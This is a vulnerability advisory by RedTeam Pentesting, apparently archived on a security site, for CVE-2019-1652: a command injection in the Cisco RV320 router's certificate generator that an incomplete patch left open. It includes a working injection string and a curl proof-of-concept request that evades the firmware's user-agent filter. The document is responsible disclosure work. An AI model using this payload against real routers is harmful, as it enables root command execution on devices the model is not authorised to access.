what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco RV320 Command Injection

Cisco RV320 Command Injection
Posted Mar 27, 2019
Site redteam-pentesting.de

RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router which was inadequately patched by the vendor.

tags | exploit, web
systems | cisco
advisories | CVE-2019-1652
SHA-256 | fa1fddffe139a0d576a787664aa6b3b1d1207ed373110904ad3b88fa8d1e4370

Cisco RV320 Command Injection

Change Mirror Download
Advisory: Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router which
was inadequately patched by the vendor.


Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652


Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])


More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. Previously, RedTeam Pentesting
identified a vulnerability (rt-sa-2018-004) [2] in this component. By
providing a specially crafted common name, it was possible to inject
shell commands which were subsequently executed on the router as the
root user. This vulnerability was adressed in firmware version 1.4.2.19
published by Cisco [3].

RedTeam Pentesting discovered that the certificate generator in the patched
firmware is still vulnerable. The update adds several filters to handle
single quotes in user input. However, these filters can be evaded by
specially crafted inputs. By providing the following string for the
certificate's common name, a "ping" command can be injected:

------------------------------------------------------------------------
'a$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------


Proof of Concept
================

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface. The user agent "curl" is
blacklisted by the firmware and must be adjusted in the HTTP client.

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.


Workaround
==========

Prevent untrusted users from using the router's web interface.


Fix
===

None


Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.


Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-004) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published


References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close